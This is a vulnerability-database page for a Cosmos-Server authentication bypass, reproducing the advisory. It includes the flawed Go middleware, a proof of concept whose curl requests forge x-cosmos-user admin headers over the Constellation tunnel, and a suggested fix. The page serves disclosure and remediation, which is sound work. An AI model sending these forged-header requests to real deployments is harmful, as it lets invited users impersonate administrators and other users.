CVE-2026-49446

MEDIUMPre-NVD 6.16.1
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
6.1EG
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: CVSS: 6.1Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel

Summary

The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers are stripped at lines 68-72, and before the AdminOnlyWithRedirect gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends x-cosmos-user: admin to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.

Preconditions

  • Cosmos is deployed with Constellation enabled and at least one device enrolled.
  • Attacker holds a valid x-cstln-auth API key for an enrolled device.
  • Attacker reaches Cosmos over the Constellation Nebula tunnel.
  • Target proxy route has AuthEnabled=true; upstream trusts the x-cosmos-user forward-auth header.

Details

// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            enabled := route.AuthEnabled
            adminOnly := route.AdminOnly

// bypass auth if from Constellation tunnel if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) { // attacker-set header opens the branch remoteAddr, _ := utils.SplitIP(r.RemoteAddr) isConstIP := constellation.IsConstellationIP(remoteAddr) isConstTokenValid := constellation.CheckConstellationToken(r) == nil

if isConstIP && isConstTokenValid { utils.Debug("Bypassing auth for Constellation tunnel") r.Header.Del("x-cstln-auth") next.ServeHTTP(w, r) // forwards x-cosmos-user as set by attacker return } }

r.Header.Del("x-cosmos-user") // only runs on the fall-through path r.Header.Del("x-cosmos-role") r.Header.Del("x-cosmos-user-role") r.Header.Del("x-cosmos-mfa") r.Header.Del("x-cstln-auth") // ... JWT path runs here ...

if enabled && adminOnly { if errT := AdminOnlyWithRedirect(w, r, route); errT != nil { // also skipped by bypass return } } next.ServeHTTP(w, r) }) } }

The branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the x-cosmos-user header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original x-cosmos-user value flows to the backend untouched, and AdminOnlyWithRedirect is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for "Cosmos in front of an app that reads identity from a header") treat the attacker's chosen string as the authenticated identity.

The Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the "invited member -> admin role on a proxied app" line.

Proof of concept

Environment used to reproduce:

  • Version: master branch, audited 2026-05-13 (module github.com/azukaar/cosmos-server)
  • Deployment: docker run azukaar/cosmos-server:latest (or the docker-compose.yml from the project README)
  • Setup steps:
  • Complete initial setup via /cosmos-ui/; promote the operator account to admin.
  • Enable Constellation: Settings > Constellation > Create lighthouse.
  • Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.
  • Configure one proxy route with Host=admin-app.example, Mode=PROXY, Target=http://internal-app:port, AuthEnabled=true, AdminOnly=true. Upstream must trust the x-cosmos-user header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).
  • Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.

# 1. Variables - fill in from the steps above
DEVICE_APIKEY=""
PROXY_ROUTE="https://admin-app.example"

2. Single request that bypasses Cosmos auth and asserts admin to the backend

curl -k \ -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \ -H "x-cosmos-user: admin" \ -H "x-cosmos-role: 2" \ -H "x-cosmos-user-role: 2" \ -H "x-cosmos-mfa: 0" \ "$PROXY_ROUTE/" -i

Expected: HTTP 200 with the admin-gated backend rendering as user "admin".

No JWT cookie was sent; no admin Cosmos account is held by the caller.

Cosmos's debug log shows: "Bypassing auth for Constellation tunnel".

A second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:

curl -k \
     -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
     -H "x-cosmos-user: someotheruser" \
     "$PROXY_ROUTE/" -i

Backend renders as "someotheruser"; any per-user data partitioning at the

backend is now under attacker control.

Impact

  • AuthN: bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.
  • AuthZ: skips the per-route AdminOnly gate, unlocking admin-only proxied backends.
  • Confidentiality: caller reads every admin-only proxied app as admin from one curl.
  • Integrity: caller performs any admin-tier write the backend exposes via the forward-auth identity.
  • Affected population: every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented x-cosmos-user header.

Suggestions to fix

> _This has not been tested - it is illustrative only._

Strip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the AdminOnly gate on the Constellation path. The branch should only fire for routes that are explicitly AuthEnabled=false - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes x-cosmos-user.

--- a/src/proxy/routerGen.go
+++ b/src/proxy/routerGen.go
@@ -46,15 +46,17 @@
 func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
        return func(next http.Handler) http.Handler {
                return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+                       // Always strip identity headers before any decision based on them.
+                       r.Header.Del("x-cosmos-user")
+                       r.Header.Del("x-cosmos-role")
+                       r.Header.Del("x-cosmos-user-role")
+                       r.Header.Del("x-cosmos-mfa")
+
                        enabled := route.AuthEnabled
                        adminOnly := route.AdminOnly
  • // bypass auth if from Constellation tunnel
  • if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {
+ // Constellation bypass only applies to non-auth routes; on auth-required + // routes the JWT path is the sole authority that may set x-cosmos-user. + if !enabled { remoteAddr, _ := utils.SplitIP(r.RemoteAddr) isConstIP := constellation.IsConstellationIP(remoteAddr) isConstTokenValid := constellation.CheckConstellationToken(r) == nil @@ -65,12 +67,7 @@ return } }
  • - r.Header.Del("x-cosmos-user")
  • r.Header.Del("x-cosmos-role")
  • r.Header.Del("x-cosmos-user-role")
  • r.Header.Del("x-cosmos-mfa")
r.Header.Del("x-cstln-auth")

Defence in depth: document that backends downstream of Cosmos must not accept x-cosmos-user over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over ` injected by the proxy and verified by the backend.

Regression test: add a unit test against tokenMiddleware asserting that a request bearing x-cosmos-user: admin and a valid x-cstln-auth reaches the next handler with r.Header.Get("x-cosmos-user") == "" whenever route.AuthEnabled == true`.

CVSS v3
6.1
EG Score
6.1(low)
EG Risk
32(Track)
EG Risk 32/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity61% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 28, 2026

Last Modified

July 28, 2026

Vendor Advisories for CVE-2026-49446(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/azukaar/cosmos-server0.22.19

Data Freshness Timeline

(refreshed 0× in last 7d / 0× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-30 21:17 UTCEG score recompute
  2. 2026-07-28 21:18 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-49446?
CVE-2026-49446 is a medium vulnerability published on July 28, 2026. Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel Summary The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role,…
When was CVE-2026-49446 disclosed?
CVE-2026-49446 was first published in the National Vulnerability Database on July 28, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-49446?
CVE-2026-49446 has a CVSS v4.0 base score of 6.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-49446?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-49446, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-49446

Explore →

Is Your Infrastructure Affected by CVE-2026-49446?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.